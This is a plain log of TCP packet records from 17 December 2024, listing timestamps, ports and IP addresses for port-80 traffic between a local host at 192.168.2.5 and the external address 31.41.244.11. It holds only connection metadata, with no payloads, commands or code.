Dec 17, 2024 08:03:31.732002020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.732018948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.732043982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.732059956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.732881069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.732899904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.732929945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.732947111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.733562946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.733581066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.733607054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.733623028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.734359980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.734402895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.734486103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.734524965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.735276937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.735322952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.735387087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.735428095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.736221075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.736264944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.736310959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.736354113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.737236023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.737252951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.737281084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.737296104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.738161087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.738177061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.738203049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.738224983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.739064932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.739083052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.739114046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.739129066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.740021944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.740037918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.740072012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.740081072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.740896940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.740914106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.740961075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.741797924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.741816044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.741837978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.741851091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.742609024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.742656946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.742724895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.742763996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.743650913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.743669987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.743697882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.743710041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.744440079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.744489908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.744553089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.744601965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.745429039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.745479107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.745558023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.745603085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.746265888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.746310949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.746397018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.746439934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.747217894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.747315884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.747364044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.747414112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.748101950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.748155117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.748213053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.748251915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.749025106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.749083996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.749152899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.749195099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.749936104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.749985933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.750051022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.750092030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.751091003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.751106977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.751131058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.751148939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.751898050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.751914978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.751940012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.751954079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.752805948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.752824068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.752859116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.752870083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.753619909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.753664017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.753731966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.753772020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.754517078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.754560947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.754623890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.754669905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.755542040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.755558968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.755585909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.755597115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.756370068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.756412983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.756479979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.756521940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.757265091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.757308006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.757379055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.757420063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.758233070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.758276939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.758344889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.758388042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.759093046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.759140015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.759207010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.759253979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.760198116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.760214090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.760240078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.760251045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.761188984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.761204958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.761236906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.762002945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.762017965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.762048960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.762069941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.762974024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.762990952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.763017893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.763034105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.763840914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.763856888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.763894081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.763912916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.764771938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.764789104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.764825106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.764839888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.765522957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.765583038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.765649080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.765693903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.766431093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.766491890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.766560078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.766602993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.767347097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.767395973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.767462015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.767503023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.768317938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.768361092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.768435955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.768472910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.769370079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.769386053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.769412041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.769427061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.770096064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.770139933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.770288944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.770327091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.771039009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.771080971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.771146059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.771190882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.772054911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.772068977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.772095919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.772111893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.773071051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.773087025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.773117065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.773134947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.775367975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.775430918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.918252945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.918303967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.918323040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.918351889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.918440104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.918482065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.918564081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.918628931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.919404984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.919440031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.919452906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.919476986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.920241117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.920288086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.920387030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.920427084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.921178102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.921222925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.921308041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.921346903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.922267914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.922302008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.922312021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.922338009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.923172951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.923218966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.923301935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.923346996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.924073935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.924107075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.924114943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.924145937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.925024986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.925060034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.925071001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.925091982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.925904989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.925921917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.925942898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.925956964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.926680088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.926719904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.926875114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.926911116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.927716970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.927732944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.927755117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.927768946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.928518057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.928559065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.928673029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.928709030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.929476023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.929518938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.929579020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.929614067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.930401087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.930439949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.930519104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.930557013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.931255102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.931308031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.931374073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.931416988 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.932163954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.932204962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.932267904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.932308912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.933269024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.933284998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.933309078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.933320999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.934166908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.934181929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.934205055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.934237957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.934977055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.935031891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.935082912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.935122967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.936003923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.936018944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.936048985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.936064959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.936943054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.936958075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.936992884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.937010050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.937671900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.937722921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.937781096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.937817097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.938636065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.938683987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.938739061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.938780069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.939671040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.939686060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.939714909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.939724922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.940550089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.940599918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.940761089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.940800905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.941375017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.941422939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.941472054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.941510916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.942327023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.942470074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.942523003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.942559958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.943177938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.943227053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.943310022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.943352938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.944309950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.944334984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.944363117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.944375038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.945044041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.945095062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.945172071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.945213079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.946022987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.946039915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.946162939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.946162939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.946957111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.946973085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.947010040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.947027922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.947766066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.947829962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.947896957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.947937012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.948807001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.948858976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.948929071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.948971987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.949667931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.949717999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.949789047 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.949831009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.950628042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.950675964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.950805902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.950843096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.951594114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.951641083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.951734066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.951771975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.952492952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.952531099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.952550888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.952588081 CET	49867	80	192.168.2.5	31.41.244.11
